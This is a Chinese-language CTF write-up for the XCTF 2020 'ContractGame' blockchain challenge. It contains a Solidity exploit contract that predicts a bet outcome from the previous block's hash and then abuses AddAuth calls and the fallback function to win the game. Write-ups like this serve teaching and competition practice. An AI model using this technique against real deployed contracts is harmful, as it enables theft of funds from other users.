ContractGame

发表于 2021-01-07 分类于 Challenge， 2020， XCTF高校网络安全专题挑战赛， HarmonyOS和HMS专场， Misc
Challenge | 2020 | XCTF高校网络安全专题挑战赛 | HarmonyOS和HMS专场 | Misc | ContractGame

点击此处获得更好的阅读体验

WriteUp来源

来自官方发布

https://www.xctf.org.cn/library/details/5acdc1c31cf4935ac38fce445978888a5710cf11/

题目考点

- *区块链智能合约*
- *考察对动态数组、map类型数据的存储规则计算*
- *考察 blockhash*
- *考察 fallback 及 msg.sender 的理解*

解题思路

```
contract hack {
    ContractGame target = ContractGame(题目地址);

    // first: call pwn with 2 ether
    function pwn() payable public {
        bytes32 entropy = block.blockhash(block.number-1);
        bytes1 coinFlip = entropy[10] & 1;
        for(int i=0;i<20;i++){
            if (coinFlip == 1){
                target.BetGame.value(10000000000000000)(true);
            } else {
                target.BetGame.value(10000000000000000)(false);
            }
        }
    }

    // second: call AddAuth(题目合约地址)
    // third: call AddAuth(外部账户地址)
    // forth: call AddAuth(攻击合约地址)
    // fifth: after 256 blocks then call fallback（可以通过外部账户直接转账msg.value=0即可，然后会调用closeGame函数）

    // sixth: call winGame()
    function winGame() public {
        target.winGame();
    }

    function() payable {}
}
```


 # Challenge # 2020 # Misc # XCTF高校网络安全专题挑战赛 # HarmonyOS和HMS专场
rsp
harmoshell-1